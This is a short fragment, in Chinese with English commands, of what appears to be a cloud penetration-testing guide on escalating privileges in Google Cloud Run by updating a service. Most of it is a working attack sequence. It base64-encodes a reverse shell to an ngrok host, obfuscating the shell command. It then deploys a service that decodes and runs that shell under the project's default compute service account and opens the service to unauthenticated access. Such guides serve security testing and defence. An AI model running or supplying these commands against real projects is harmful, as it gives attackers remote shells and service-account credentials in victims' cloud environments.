请注意,当使用 gcloud run deploy 而不是仅创建服务时,它需要 update 权限。请查看 示例这里。
run.services.update , iam.serviceAccounts.actAs
与前一个相似,但更新服务:
# Launch some web server to listen in port 80 so the service worksecho"python3 -m http.server 80;sh -i >& /dev/tcp/0.tcp.eu.ngrok.io/14348 0>&1"|base64# cHl0aG9uMyAtbSBodHRwLnNlcnZlciA4MDtzaCAtaSA+JiAvZGV2L3RjcC8wLnRjcC5ldS5uZ3Jvay5pby8xNDM0OCAwPiYxCg==gcloudrundeployhacked \--image=ubuntu:22.04 \ # Make sure to use an ubuntu version that includes python3--command=bash\--args="-c,echo cHl0aG9uMyAtbSBodHRwLnNlcnZlciA4MDtzaCAtaSA+JiAvZGV2L3RjcC8wLnRjcC5ldS5uZ3Jvay5pby8xNDM0OCAwPiYxCg== | base64 -d | bash" \
--service-account="<proj-num>-compute@developer.gserviceaccount.com" \--region=us-central1 \--allow-unauthenticated# If you don't have permissions to use "--allow-unauthenticated", dont use it